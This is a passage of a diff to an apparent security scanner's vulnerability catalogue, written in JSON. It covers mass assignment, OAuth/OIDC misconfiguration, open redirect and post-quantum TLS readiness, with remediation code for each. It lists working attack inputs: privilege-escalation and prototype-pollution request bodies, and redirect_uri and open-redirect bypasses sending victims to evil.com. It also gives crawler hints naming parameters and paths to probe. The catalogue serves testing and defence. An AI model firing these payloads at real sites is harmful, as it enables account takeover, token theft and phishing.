"{\"name\":\"Fulano\",\"balance\":999999,\"plan\":\"enterprise\",\"credits\":100000}", - "// Alteração de ownership", - "{\"name\":\"Fulano\",\"ownerId\":\"123\",\"tenantId\":\"outro-tenant\"}", - "// Campos internos", - "{\"status\":\"active\",\"deletedAt\":null,\"price\":0,\"isAdmin\":true}", - "// Aninhado", - "{\"user\":{\"email\":\"user@exemplo.com\",\"role\":\"admin\"}}", - "{\"profile\":{\"user\":{\"role\":\"admin\"}}}", - "// Case/alias", - "{\"Role\":\"admin\",\"IS_ADMIN\":true,\"is_admin\":1,\"role_id\":1}", - "// Duplicatas (parser-dependent)", - "{\"role\":\"user\",\"role\":\"admin\"}", - "// Form-urlencoded", - "email=user%40exemplo.com&role=admin&isAdmin=true", - "// XML", - "user@exemplo.comadmin", - "// Prototype pollution (Node)", - "{\"__proto__\":{\"isAdmin\":true}}", - "{\"constructor\":{\"prototype\":{\"isAdmin\":true}}}", - "- Campos não documentados descobertos via GraphQL introspection / OpenAPI", - "- `role` vs `roles` vs `roleId` vs `permissions`", - "- Enviar campo em nested object quando o DTO raiz é allowlisted", - "- Mass assignment em PATCH parcial", - "- Abusar de `@JsonAnySetter` ou maps genéricos", - "- Explorar conversão de tipos (string \"true\" para boolean)", - "- Enviar campos em multipart/form-data" - ], - "crawlerHints": { - "parameters": [ - "role", - "roles", - "is_admin", - "isAdmin", - "admin", - "permissions", - "verified", - "email_verified", - "emailVerified", - "phone_verified", - "status", - "plan", - "credits", - "balance", - "price", - "owner_id", - "ownerId", - "user_id", - "tenant_id", - "org_id", - "created_at", - "deleted_at", - "active" - ], - "paths": [ - "/api/users", - "/api/users/{id}", - "/api/register", - "/api/profile", - "/api/account", - "/api/settings", - "/api/organizations", - "/api/billing", - "/graphql" - ] + "mass_assignment": { + "title": "Mass Assignment", + "module": "MassAssign", + "severity": "HIGH", + "cweId": "CWE-915", + "cweTitle": "Improperly Controlled Modification of Dynamically-Determined Object Attributes", + "cvssVector": "AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", + "vrtId": "broken_access_control.mass_assignment", + "summary": "The backend automatically binds all client-submitted fields to the internal object, allowing modification of unintended attributes such as `role`, `is_admin`, `verified`, `balance`, and `owner_id`.", + "description": "Mass assignment (also known as autobinding) occurs when the framework maps the request body directly to a domain model without an allowlist of permitted fields. The attacker sends additional properties that the frontend does not display but the backend accepts. In Spring, this happens with `@ModelAttribute`/`@RequestBody` bound directly to the entity; in Rails, with `params.permit!` or `Model.new(params)`; in Node, with `Object.assign(user, req.body)`; in Laravel, with `$request->all()` and a misconfigured `$fillable`.\n\nCommon impacts include:\n- Privilege escalation (`role`, `isAdmin`, `permissions`).\n- Email/phone verification bypass (`emailVerified`, `phoneVerified`).\n- Balance/credit/plan manipulation (`balance`, `plan`, `credits`).\n- Ownership transfer (`ownerId`, `userId`, `tenantId`).\n- Internal field modification (`createdAt`, `deletedAt`, `status`, `price`).\n- Feature activation and access to paid resources.", + "impact": "- Privilege escalation and account takeover.\n- Financial fraud (balance, credits, pricing, coupons).\n- Identity verification bypass and business logic circumvention.\n- Cross-user and cross-tenant data access.\n- Severity: HIGH; CRITICAL when it leads to admin access or mass fraud.", + "payloads": [ + "// Escalada de role", + "{\"email\":\"user@exemplo.com\",\"password\":\"Senha123!\",\"role\":\"admin\"}", + "// Bypass de verificação", + "{\"email\":\"user@exemplo.com\",\"emailVerified\":true,\"phoneVerified\":true}", + "// Alteração de saldo/plano", + "{\"name\":\"Fulano\",\"balance\":999999,\"plan\":\"enterprise\",\"credits\":100000}", + "// Alteração de ownership", + "{\"name\":\"Fulano\",\"ownerId\":\"123\",\"tenantId\":\"outro-tenant\"}", + "// Campos internos", + "{\"status\":\"active\",\"deletedAt\":null,\"price\":0,\"isAdmin\":true}", + "// Aninhado", + "{\"user\":{\"email\":\"user@exemplo.com\",\"role\":\"admin\"}}", + "{\"profile\":{\"user\":{\"role\":\"admin\"}}}", + "// Case/alias", + "{\"Role\":\"admin\",\"IS_ADMIN\":true,\"is_admin\":1,\"role_id\":1}", + "// Duplicatas (parser-dependent)", + "{\"role\":\"user\",\"role\":\"admin\"}", + "// Form-urlencoded", + "email=user%40exemplo.com&role=admin&isAdmin=true", + "// XML", + "user@exemplo.comadmin", + "// Prototype pollution (Node)", + "{\"__proto__\":{\"isAdmin\":true}}", + "{\"constructor\":{\"prototype\":{\"isAdmin\":true}}}", + "- Campos não documentados descobertos via GraphQL introspection / OpenAPI", + "- `role` vs `roles` vs `roleId` vs `permissions`", + "- Enviar campo em nested object quando o DTO raiz é allowlisted", + "- Mass assignment em PATCH parcial", + "- Abusar de `@JsonAnySetter` ou maps genéricos", + "- Explorar conversão de tipos (string \"true\" para boolean)", + "- Enviar campos em multipart/form-data" + ], + "crawlerHints": { + "parameters": [ + "role", + "roles", + "is_admin", + "isAdmin", + "admin", + "permissions", + "verified", + "email_verified", + "emailVerified", + "phone_verified", + "status", + "plan", + "credits", + "balance", + "price", + "owner_id", + "ownerId", + "user_id", + "tenant_id", + "org_id", + "created_at", + "deleted_at", + "active" + ], + "paths": [ + "/api/users", + "/api/users/{id}", + "/api/register", + "/api/profile", + "/api/account", + "/api/settings", + "/api/organizations", + "/api/billing", + "/graphql" + ] + }, + "recommendation": "1. Use operation-specific DTOs (Create/Update) with an explicit field allowlist; never bind the domain entity directly to the request body.\n2. In Spring, use `@JsonIgnoreProperties(ignoreUnknown = false)` or `FAIL_ON_UNKNOWN_PROPERTIES` to reject unknown fields; avoid `@ModelAttribute` on entities.\n```java\npublic record UpdateUserRequest(\n @NotBlank String name,\n @Email String email\n) {}\n```\n3. In Rails, use strong parameters (`params.require(:user).permit(:name, :email)`); in Node, validate with Zod/Joi and build the object field by field; in Laravel, use a restrictive `$fillable`.\n4. Never allow the client to set `role`, `isAdmin`, `permissions`, `ownerId`, `tenantId`, `balance`, or `status`; these fields must be derived server-side.\n5. Apply authorization and business rules on the server, regardless of what the client sends.\n6. Reject unknown properties and return HTTP 400; do not silently ignore them.\n7. Audit sensitive changes and alert on role/owner modifications outside the administrative workflow.\n8. Cover all creation/update endpoints with tests that submit extra fields.", + "notableCves": [] }, - "recommendation": "1. Use operation-specific DTOs (Create/Update) with an explicit field allowlist; never bind the domain entity directly to the request body.\n2. In Spring, use `@JsonIgnoreProperties(ignoreUnknown = false)` or `FAIL_ON_UNKNOWN_PROPERTIES` to reject unknown fields; avoid `@ModelAttribute` on entities.\n```java\npublic record UpdateUserRequest(\n @NotBlank String name,\n @Email String email\n) {}\n```\n3. In Rails, use strong parameters (`params.require(:user).permit(:name, :email)`); in Node, validate with Zod/Joi and build the object field by field; in Laravel, use a restrictive `$fillable`.\n4. Never allow the client to set `role`, `isAdmin`, `permissions`, `ownerId`, `tenantId`, `balance`, or `status`; these fields must be derived server-side.\n5. Apply authorization and business rules on the server, regardless of what the client sends.\n6. Reject unknown properties and return HTTP 400; do not silently ignore them.\n7. Audit sensitive changes and alert on role/owner modifications outside the administrative workflow.\n8. Cover all creation/update endpoints with tests that submit extra fields.", - "notableCves": [] - }, - "oauth_misconfiguration": { - "title": "OAuth 2.0 / OIDC Misconfiguration", - "module": "OAuth", - "severity": "CRITICAL", - "cweId": "CWE-352", - "cweTitle": "Cross-Site Request Forgery (CSRF)", - "cvssVector": "AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", - "vrtId": "broken_authentication_and_session_management.oauth_misconfiguration", - "summary": "Flaws in OAuth 2.0/OIDC flows — missing `state`, permissive `redirect_uri`, unenforced PKCE, leaked tokens, or excessive scopes — enable account takeover, token theft, and unauthorized access to protected resources.", - "description": "OAuth 2.0 delegates authorization between a resource owner, client, authorization server, and resource server. The authorization flow is secure only when the client validates the `state` parameter, the authorization server enforces exact `redirect_uri` matching, the authorization code is single-use and bound to the client/PKCE verifier, and tokens are transported over protected channels.\n\nCommon issues:\n\n- **CSRF in the authorization flow:** missing or reused `state` allows an attacker to make the victim's browser complete a flow with the attacker's account (login CSRF) or link a malicious social account.\n- **Permissive redirect_uri:** validation by prefix, regex, path traversal, controlled subdomain, wildcard, or `@` allows redirecting the `code`/token to the attacker.\n- **Missing PKCE:** in public clients (SPAs, mobile), an intercepted authorization code can be exchanged for a token.\n- **Implicit flow:** tokens in the URL fragment are exposed to browser history, Referer headers, and XSS.\n- **Token leakage:** `access_token` in query strings, logs, Referer headers, error messages, or open redirects.\n- **Excessive scope / scope upgrade:** the client requests administrative scopes or the server ignores the consented scope.\n- **Pre-account takeover:** an unverified email at the provider allows the attacker to create an account with the victim's email before the victim's first social login.\n- **Improperly validated OIDC:** `iss`, `aud`, `nonce`, `azp`, `at_hash` are not verified; JWKS accepted from any issuer.", - "impact": "- Complete account takeover, including administrative accounts.\n- Theft of access/refresh tokens and persistent access to APIs and data.\n- Login CSRF: the victim operates under the attacker's account and leaks data and files.\n- Unauthorized cross-tenant authorization and scope escalation.\n- Leakage of PII, financial data, and communications; severity: CRITICAL.", - "payloads": [ - "# CSRF: remover state, reutilizar state ou usar state previsível", - "GET /oauth/authorize?client_id=app&redirect_uri=https://alvo.com/cb&response_type=code&scope=openid", - "GET /oauth/authorize?client_id=app&redirect_uri=https://alvo.com/cb&response_type=code&state=fixed", - "# redirect_uri bypass", - "redirect_uri=https://alvo.com.evil.com/cb", - "redirect_uri=https://evil.com/cb", - "redirect_uri=https://alvo.com@evil.com/cb", - "redirect_uri=https://alvo.com%2f@evil.com/cb", - "redirect_uri=https://alvo.com%5c@evil.com/cb", - "redirect_uri=https://alvo.com/cb/../../evil", - "redirect_uri=https://alvo.com/cb?next=https://evil.com", - "redirect_uri=https://alvo.com/cb%23@evil.com", - "redirect_uri=https://alvo.com/cb%00.evil.com", - "redirect_uri=https://alvo.com:443@evil.com", - "# Path confusion", - "redirect_uri=https://alvo.com/callback/..%2f..%2fevil", - "redirect_uri=https://alvo.com/callback%2f..%2f..%2fevil", - "# Implicit / token leakage", - "response_type=token", - "response_type=id_token token", - "redirect_uri=https://alvo.com/cb#access_token=...", - "
", - " ", - " ", - " ", - " ", - "
", - "", - "- Codificação dupla do host: https://alvo.com%252eevil.com", - "- Unicode/IDN: https://alvo.com。evil.com", - "- Backslash: https://alvo.com\\@evil.com", - "- Fragmento e query: https://alvo.com/cb#https://evil.com", - "- Redirecionamento encadeado: redirect_uri aponta para open redirect no domínio confiável", - "- Case: HTTPS://ALVO.COM@EVIL.COM" - ], - "crawlerHints": { - "parameters": [ - "client_id", - "redirect_uri", - "response_type", - "scope", - "state", - "nonce", - "code", - "access_token", - "id_token", - "refresh_token", - "grant_type", - "code_verifier" - ], - "paths": [ - "/oauth/authorize", - "/oauth/token", - "/oauth/introspect", - "/oauth/revoke", - "/login/oauth", - "/.well-known/openid-configuration", - "/.well-known/jwks.json", - "/callback" - ] + "oauth_misconfiguration": { + "title": "OAuth 2.0 / OIDC Misconfiguration", + "module": "OAuth", + "severity": "CRITICAL", + "cweId": "CWE-352", + "cweTitle": "Cross-Site Request Forgery (CSRF)", + "cvssVector": "AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", + "vrtId": "broken_authentication_and_session_management.oauth_misconfiguration", + "summary": "Flaws in OAuth 2.0/OIDC flows — missing `state`, permissive `redirect_uri`, unenforced PKCE, leaked tokens, or excessive scopes — enable account takeover, token theft, and unauthorized access to protected resources.", + "description": "OAuth 2.0 delegates authorization between a resource owner, client, authorization server, and resource server. The authorization flow is secure only when the client validates the `state` parameter, the authorization server enforces exact `redirect_uri` matching, the authorization code is single-use and bound to the client/PKCE verifier, and tokens are transported over protected channels.\n\nCommon issues:\n\n- **CSRF in the authorization flow:** missing or reused `state` allows an attacker to make the victim's browser complete a flow with the attacker's account (login CSRF) or link a malicious social account.\n- **Permissive redirect_uri:** validation by prefix, regex, path traversal, controlled subdomain, wildcard, or `@` allows redirecting the `code`/token to the attacker.\n- **Missing PKCE:** in public clients (SPAs, mobile), an intercepted authorization code can be exchanged for a token.\n- **Implicit flow:** tokens in the URL fragment are exposed to browser history, Referer headers, and XSS.\n- **Token leakage:** `access_token` in query strings, logs, Referer headers, error messages, or open redirects.\n- **Excessive scope / scope upgrade:** the client requests administrative scopes or the server ignores the consented scope.\n- **Pre-account takeover:** an unverified email at the provider allows the attacker to create an account with the victim's email before the victim's first social login.\n- **Improperly validated OIDC:** `iss`, `aud`, `nonce`, `azp`, `at_hash` are not verified; JWKS accepted from any issuer.", + "impact": "- Complete account takeover, including administrative accounts.\n- Theft of access/refresh tokens and persistent access to APIs and data.\n- Login CSRF: the victim operates under the attacker's account and leaks data and files.\n- Unauthorized cross-tenant authorization and scope escalation.\n- Leakage of PII, financial data, and communications; severity: CRITICAL.", + "payloads": [ + "# CSRF: remover state, reutilizar state ou usar state previsível", + "GET /oauth/authorize?client_id=app&redirect_uri=https://alvo.com/cb&response_type=code&scope=openid", + "GET /oauth/authorize?client_id=app&redirect_uri=https://alvo.com/cb&response_type=code&state=fixed", + "# redirect_uri bypass", + "redirect_uri=https://alvo.com.evil.com/cb", + "redirect_uri=https://evil.com/cb", + "redirect_uri=https://alvo.com@evil.com/cb", + "redirect_uri=https://alvo.com%2f@evil.com/cb", + "redirect_uri=https://alvo.com%5c@evil.com/cb", + "redirect_uri=https://alvo.com/cb/../../evil", + "redirect_uri=https://alvo.com/cb?next=https://evil.com", + "redirect_uri=https://alvo.com/cb%23@evil.com", + "redirect_uri=https://alvo.com/cb%00.evil.com", + "redirect_uri=https://alvo.com:443@evil.com", + "# Path confusion", + "redirect_uri=https://alvo.com/callback/..%2f..%2fevil", + "redirect_uri=https://alvo.com/callback%2f..%2f..%2fevil", + "# Implicit / token leakage", + "response_type=token", + "response_type=id_token token", + "redirect_uri=https://alvo.com/cb#access_token=...", + "
", + " ", + " ", + " ", + " ", + "
", + "", + "- Codificação dupla do host: https://alvo.com%252eevil.com", + "- Unicode/IDN: https://alvo.com。evil.com", + "- Backslash: https://alvo.com\\@evil.com", + "- Fragmento e query: https://alvo.com/cb#https://evil.com", + "- Redirecionamento encadeado: redirect_uri aponta para open redirect no domínio confiável", + "- Case: HTTPS://ALVO.COM@EVIL.COM" + ], + "crawlerHints": { + "parameters": [ + "client_id", + "redirect_uri", + "response_type", + "scope", + "state", + "nonce", + "code", + "access_token", + "id_token", + "refresh_token", + "grant_type", + "code_verifier" + ], + "paths": [ + "/oauth/authorize", + "/oauth/token", + "/oauth/introspect", + "/oauth/revoke", + "/login/oauth", + "/.well-known/openid-configuration", + "/.well-known/jwks.json", + "/callback" + ] + }, + "recommendation": "1. Require a cryptographically random `state` parameter, bound to the session and single-use; reject requests without `state`.\n2. Validate `redirect_uri` by exact match against a registered allowlist; do not use prefix, regex, or wildcard matching. Normalize and reject userinfo, fragments, and path traversal.\n3. Require PKCE (`S256`) for public clients and, ideally, for all clients; bind the authorization code to the `client_id` and `code_verifier`.\n4. Disable the implicit flow and client credentials in browsers; use authorization code + PKCE.\n5. Validate `iss`, `aud`, `azp`, `nonce`, `exp`, `iat`, and the ID token signature with the correct issuer's JWKS.\n6. Do not place tokens in query strings; use fragments only in legacy flows and never log tokens.\n7. Apply minimal scopes and explicit consent; validate scopes at the resource server, not only in the token.\n8. Require a verified email before linking social accounts; implement confirmation to prevent pre-account takeover.\n9. Rotate refresh tokens, enable revocation, and detect token reuse.\n10. Redirect validation example:\n```java\nSet allowed = Set.of(\"https://app.alvo.com/callback\", \"https://admin.alvo.com/callback\");\nURI uri = URI.create(redirectUri);\nif (!allowed.contains(uri.toString()) || uri.getUserInfo() != null || uri.getFragment() != null) {\n throw new OAuth2AuthenticationException(\"invalid_redirect_uri\");\n}\n```", + "notableCves": [] }, - "recommendation": "1. Require a cryptographically random `state` parameter, bound to the session and single-use; reject requests without `state`.\n2. Validate `redirect_uri` by exact match against a registered allowlist; do not use prefix, regex, or wildcard matching. Normalize and reject userinfo, fragments, and path traversal.\n3. Require PKCE (`S256`) for public clients and, ideally, for all clients; bind the authorization code to the `client_id` and `code_verifier`.\n4. Disable the implicit flow and client credentials in browsers; use authorization code + PKCE.\n5. Validate `iss`, `aud`, `azp`, `nonce`, `exp`, `iat`, and the ID token signature with the correct issuer's JWKS.\n6. Do not place tokens in query strings; use fragments only in legacy flows and never log tokens.\n7. Apply minimal scopes and explicit consent; validate scopes at the resource server, not only in the token.\n8. Require a verified email before linking social accounts; implement confirmation to prevent pre-account takeover.\n9. Rotate refresh tokens, enable revocation, and detect token reuse.\n10. Redirect validation example:\n```java\nSet allowed = Set.of(\"https://app.alvo.com/callback\", \"https://admin.alvo.com/callback\");\nURI uri = URI.create(redirectUri);\nif (!allowed.contains(uri.toString()) || uri.getUserInfo() != null || uri.getFragment() != null) {\n throw new OAuth2AuthenticationException(\"invalid_redirect_uri\");\n}\n```", - "notableCves": [] - }, - "open_redirect": { - "title": "Open Redirect", - "module": "OpenRedirect", - "severity": "MEDIUM", - "cweId": "CWE-601", - "cweTitle": "URL Redirection to Untrusted Site ('Open Redirect')", - "cvssVector": "AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", - "vrtId": "broken_authentication_and_session_management.open_redirect", - "summary": "A redirect parameter accepts arbitrary external destinations, enabling high-credibility phishing, OAuth token theft, and bypass of domain-based trust validations.", - "description": "Applications use parameters such as `next`, `return`, `redirect_uri`, or `url` to redirect users after login, logout, payment, or language selection. When the destination is not validated against an allowlist, an attacker crafts a link on the legitimate domain that redirects to a malicious site. The victim trusts the initial URL and may be tricked into submitting credentials, downloading malware, or authorizing a rogue OAuth flow.\n\nThe bug is frequently underestimated but becomes critical when chained with:\n- An OAuth `redirect_uri` that accepts an internal open redirect.\n- SSRF with automatic redirect following.\n- Cache poisoning of redirect responses.\n- Token leakage via fragment or query string.\n- Domain allowlist bypass in webhooks and integrations.", - "impact": "- High-credibility phishing using the legitimate domain as a facade.\n- Theft of credentials, cookies, OAuth tokens, and authorization codes.\n- Bypass of controls that trust \"internal redirects\" for destination validation.\n- Redirection to malware or fraud pages.\n- Reputation damage and brand abuse; severity increases when token leakage is involved.", - "payloads": [ - "# Destinos externos diretos", - "?url=https://evil.com", - "?next=https://evil.com", - "?redirect=https://evil.com", - "?return=https://evil.com", - "?returnTo=https://evil.com", - "?dest=https://evil.com", - "?destination=https://evil.com", - "?continue=https://evil.com", - "?target=https://evil.com", - "?rurl=https://evil.com", - "?u=https://evil.com", - "?link=https://evil.com", - "?out=https://evil.com", - "?go=https://evil.com", - "?checkout_url=https://evil.com", - "# Scheme-relative e variações de parsing", - "?url=//evil.com", - "?url=////evil.com", - "?url=\\/\\/evil.com", - "?url=%2f%2fevil.com", - "?url=%252f%252fevil.com", - "?url=https:evil.com", - "?url=https:///evil.com", - "?url=https://alvo.com@evil.com", - "?url=https://alvo.com.evil.com", - "?url=https://evil.com#alvo.com", - "?url=https://evil.com?alvo.com", - "?url=https://alvo.com%2f@evil.com", - "?url=https://alvo.com%5c@evil.com", - "?url=https://alvo.com:443@evil.com", - "# Path/encoding tricks", - "?url=https://alvo.com/cb/../../evil", - "?url=https://alvo.com/cb%2f..%2f..%2fevil", - "?url=/redirect?url=https://evil.com", - "?url=javascript:alert(document.domain)", - "?url=data:text/html,", - "# Unicode/IDN", - "?url=https://alvo.com。evil.com", - "?url=https://αlvo.com", - "Login seguro", - "- Allowlist por substring: https://alvo.com.evil.com", - "- Allowlist por startsWith: https://alvo.com@evil.com", - "- Allowlist por regex sem âncora: https://evil.com/alvo.com", - "- Dupla codificação: %252f%252fevil.com", - "- Redirecionamento em dois saltos: /out?url=/out?url=https://evil.com", - "- Open redirect interno em subdomínio confiável" - ], - "crawlerHints": { - "parameters": [ - "url", - "uri", - "next", - "return", - "returnTo", - "return_url", - "redirect", - "redirect_uri", - "redirect_url", - "dest", - "destination", - "continue", - "target", - "rurl", - "u", - "link", - "out", - "go", - "goto", - "view", - "checkout_url", - "callback", - "back" - ], - "paths": [ - "/login", - "/logout", - "/auth", - "/oauth/authorize", - "/sso", - "/redirect", - "/out", - "/r", - "/go", - "/link", - "/checkout", - "/payment/return" - ] + "open_redirect": { + "title": "Open Redirect", + "module": "OpenRedirect", + "severity": "MEDIUM", + "cweId": "CWE-601", + "cweTitle": "URL Redirection to Untrusted Site ('Open Redirect')", + "cvssVector": "AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "vrtId": "broken_authentication_and_session_management.open_redirect", + "summary": "A redirect parameter accepts arbitrary external destinations, enabling high-credibility phishing, OAuth token theft, and bypass of domain-based trust validations.", + "description": "Applications use parameters such as `next`, `return`, `redirect_uri`, or `url` to redirect users after login, logout, payment, or language selection. When the destination is not validated against an allowlist, an attacker crafts a link on the legitimate domain that redirects to a malicious site. The victim trusts the initial URL and may be tricked into submitting credentials, downloading malware, or authorizing a rogue OAuth flow.\n\nThe bug is frequently underestimated but becomes critical when chained with:\n- An OAuth `redirect_uri` that accepts an internal open redirect.\n- SSRF with automatic redirect following.\n- Cache poisoning of redirect responses.\n- Token leakage via fragment or query string.\n- Domain allowlist bypass in webhooks and integrations.", + "impact": "- High-credibility phishing using the legitimate domain as a facade.\n- Theft of credentials, cookies, OAuth tokens, and authorization codes.\n- Bypass of controls that trust \"internal redirects\" for destination validation.\n- Redirection to malware or fraud pages.\n- Reputation damage and brand abuse; severity increases when token leakage is involved.", + "payloads": [ + "# Destinos externos diretos", + "?url=https://evil.com", + "?next=https://evil.com", + "?redirect=https://evil.com", + "?return=https://evil.com", + "?returnTo=https://evil.com", + "?dest=https://evil.com", + "?destination=https://evil.com", + "?continue=https://evil.com", + "?target=https://evil.com", + "?rurl=https://evil.com", + "?u=https://evil.com", + "?link=https://evil.com", + "?out=https://evil.com", + "?go=https://evil.com", + "?checkout_url=https://evil.com", + "# Scheme-relative e variações de parsing", + "?url=//evil.com", + "?url=////evil.com", + "?url=\\/\\/evil.com", + "?url=%2f%2fevil.com", + "?url=%252f%252fevil.com", + "?url=https:evil.com", + "?url=https:///evil.com", + "?url=https://alvo.com@evil.com", + "?url=https://alvo.com.evil.com", + "?url=https://evil.com#alvo.com", + "?url=https://evil.com?alvo.com", + "?url=https://alvo.com%2f@evil.com", + "?url=https://alvo.com%5c@evil.com", + "?url=https://alvo.com:443@evil.com", + "# Path/encoding tricks", + "?url=https://alvo.com/cb/../../evil", + "?url=https://alvo.com/cb%2f..%2f..%2fevil", + "?url=/redirect?url=https://evil.com", + "?url=javascript:alert(document.domain)", + "?url=data:text/html,", + "# Unicode/IDN", + "?url=https://alvo.com。evil.com", + "?url=https://αlvo.com", + "Login seguro", + "- Allowlist por substring: https://alvo.com.evil.com", + "- Allowlist por startsWith: https://alvo.com@evil.com", + "- Allowlist por regex sem âncora: https://evil.com/alvo.com", + "- Dupla codificação: %252f%252fevil.com", + "- Redirecionamento em dois saltos: /out?url=/out?url=https://evil.com", + "- Open redirect interno em subdomínio confiável" + ], + "crawlerHints": { + "parameters": [ + "url", + "uri", + "next", + "return", + "returnTo", + "return_url", + "redirect", + "redirect_uri", + "redirect_url", + "dest", + "destination", + "continue", + "target", + "rurl", + "u", + "link", + "out", + "go", + "goto", + "view", + "checkout_url", + "callback", + "back" + ], + "paths": [ + "/login", + "/logout", + "/auth", + "/oauth/authorize", + "/sso", + "/redirect", + "/out", + "/r", + "/go", + "/link", + "/checkout", + "/payment/return" + ] + }, + "recommendation": "1. Do not accept arbitrary URLs. Use an allowlist of exact destinations or a server-side key map (`?next=dashboard`, `?next=billing`).\n2. If accepting a URL is unavoidable, parse it with a URL library, require the `https` scheme, validate the host against an exact allowlist, and reject userinfo, fragments, and unexpected ports.\n3. Prefer internal relative paths and validate that they start with `/` and not with `//` or `/\\`.\n4. Block `javascript:`, `data:`, `vbscript:`, and non-HTTP(S) schemes.\n5. Do not rely on `Referer` for destination decisions; validate the parameter explicitly.\n6. In OAuth flows, validate `redirect_uri` by exact match and do not allow an internal open redirect on the callback endpoint.\n7. Add an interstitial warning page (\"You are leaving example.com\") for legitimate external destinations.\n8. Java example:\n```java\nprivate static final Set ALLOWED_HOSTS = Set.of(\"app.alvo.com\", \"www.alvo.com\");\n\npublic String safeRedirect(String raw) {\n URI uri = URI.create(raw);\n if (uri.getUserInfo() != null || uri.getFragment() != null) throw new IllegalArgumentException();\n if (!\"https\".equalsIgnoreCase(uri.getScheme())) throw new IllegalArgumentException();\n if (!ALLOWED_HOSTS.contains(uri.getHost())) throw new IllegalArgumentException();\n return uri.toString();\n}\n```\n9. Cover the flow with tests that attempt `//evil.com`, `%2f%2f`, `@`, backslash, and double encoding bypasses.", + "notableCves": [] }, - "recommendation": "1. Do not accept arbitrary URLs. Use an allowlist of exact destinations or a server-side key map (`?next=dashboard`, `?next=billing`).\n2. If accepting a URL is unavoidable, parse it with a URL library, require the `https` scheme, validate the host against an exact allowlist, and reject userinfo, fragments, and unexpected ports.\n3. Prefer internal relative paths and validate that they start with `/` and not with `//` or `/\\`.\n4. Block `javascript:`, `data:`, `vbscript:`, and non-HTTP(S) schemes.\n5. Do not rely on `Referer` for destination decisions; validate the parameter explicitly.\n6. In OAuth flows, validate `redirect_uri` by exact match and do not allow an internal open redirect on the callback endpoint.\n7. Add an interstitial warning page (\"You are leaving example.com\") for legitimate external destinations.\n8. Java example:\n```java\nprivate static final Set ALLOWED_HOSTS = Set.of(\"app.alvo.com\", \"www.alvo.com\");\n\npublic String safeRedirect(String raw) {\n URI uri = URI.create(raw);\n if (uri.getUserInfo() != null || uri.getFragment() != null) throw new IllegalArgumentException();\n if (!\"https\".equalsIgnoreCase(uri.getScheme())) throw new IllegalArgumentException();\n if (!ALLOWED_HOSTS.contains(uri.getHost())) throw new IllegalArgumentException();\n return uri.toString();\n}\n```\n9. Cover the flow with tests that attempt `//evil.com`, `%2f%2f`, `@`, backslash, and double encoding bypasses.", - "notableCves": [] - }, - "post_quantum_readiness": { - "title": "Post-Quantum Cryptography Readiness Gap", - "module": "PQC", - "severity": "LOW", - "cweId": "CWE-311", - "cweTitle": "Missing Encryption of Sensitive Data", - "cvssVector": "AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", - "vrtId": "cryptography_issues.weak_tls", - "summary": "Absence of hybrid post-quantum key exchange (ML-KEM) in TLS and other encrypted channels enables a \"harvest now, decrypt later\" attack: traffic captured today can be decrypted by a future cryptographically relevant quantum computer. This is a long-term strategic risk, not an immediately exploitable vulnerability.", - "description": "Traditional public-key algorithms (RSA, ECDH, ECDSA) are vulnerable to Shor's algorithm on a sufficiently large quantum computer. The recommended migration path is hybrid: combining a post-quantum KEM (ML-KEM, FIPS 203) with a classical algorithm (X25519), so the channel remains secure if either algorithm holds.\n\nThe hybrid group `X25519MLKEM768` is the de facto standard for TLS 1.3 and is already available in OpenSSL 3.5+, BoringSSL, Chrome, and Java 27 (JEP 496/497 for ML-KEM and ML-DSA). The absence of this group is not an exploitable flaw today, but it indicates cryptographic debt: an incomplete algorithm inventory, outdated libraries, inability to rotate algorithms rapidly, and long-lived data (healthcare, financial, state secrets) exposed to future decryption.\n\nThe finding should be classified as LOW/INFO and contextualized: there is no proof-of-concept for quantum key breaking, but there is strategic risk and emerging regulatory requirements (NIST IR 8547, CNSA 2.0, central bank directives).", - "impact": "- Sensitive data captured today may be readable in the future (\"harvest now, decrypt later\").\n- Delayed migration increases cost and disruption risk when classical cryptography is deprecated.\n- Systems with long lifecycles (IoT, firmware, archives, backups, VPN) are most affected.\n- Potential non-compliance with cryptographic agility requirements and sector-specific regulations.\n- No immediate impact on confidentiality or integrity; severity is LOW accordingly.", - "payloads": [ - "# Verificar suporte a grupos híbridos no servidor", - "openssl s_client -connect alvo.com:443 -servername alvo.com -groups X25519MLKEM768 -tls1_3", - "# Listar grupos suportados", - "nmap --script ssl-enum-ciphers -p 443 alvo.com", - "testssl.sh --protocols --groups alvo.com", - "# Verificar a pilha local", - "openssl version -a", - "openssl list -kem-algorithms | grep -i mlkem", - "openssl list -signature-algorithms | grep -i mldsa", - "# Java 27: confirmar algoritmos disponíveis", - "java --list-modules | grep -i crypto", - "- TLS 1.3 habilitado", - "- Grupo X25519MLKEM768 ou SecP256r1MLKEM768 negociado", - "- Biblioteca TLS com suporte a ML-KEM (OpenSSL 3.5+, BoringSSL, AWS-LC)", - "- Certificados/assinaturas com migração planejada para ML-DSA", - "- Inventário de dependências criptográficas e plano de agilidade", - "- VPN/IPsec, SSH, S/MIME e code signing cobertos pelo plano" - ], - "crawlerHints": { - "parameters": [], - "paths": [ - "/health", - "/metrics" - ] + "post_quantum_readiness": { + "title": "Post-Quantum Cryptography Readiness Gap", + "module": "PQC", + "severity": "LOW", + "cweId": "CWE-311", + "cweTitle": "Missing Encryption of Sensitive Data", + "cvssVector": "AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", + "vrtId": "cryptography_issues.weak_tls", + "summary": "Absence of hybrid post-quantum key exchange (ML-KEM) in TLS and other encrypted channels enables a \"harvest now, decrypt later\" attack: traffic captured today can be decrypted by a future cryptographically relevant quantum computer. This is a long-term strategic risk, not an immediately exploitable vulnerability.", + "description": "Traditional public-key algorithms (RSA, ECDH, ECDSA) are vulnerable to Shor's algorithm on a sufficiently large quantum computer. The recommended migration path is hybrid: combining a post-quantum KEM (ML-KEM, FIPS 203) with a classical algorithm (X25519), so the channel remains secure if either algorithm holds.\n\nThe hybrid group `X25519MLKEM768` is the de facto standard for TLS 1.3 and is already available in OpenSSL 3.5+, BoringSSL, Chrome, and Java 27 (JEP 496/497 for ML-KEM and ML-DSA). The absence of this group is not an exploitable flaw today, but it indicates cryptographic debt: an incomplete algorithm inventory, outdated libraries, inability to rotate algorithms rapidly, and long-lived data (healthcare, financial, state secrets) exposed to future decryption.\n\nThe finding should be classified as LOW/INFO 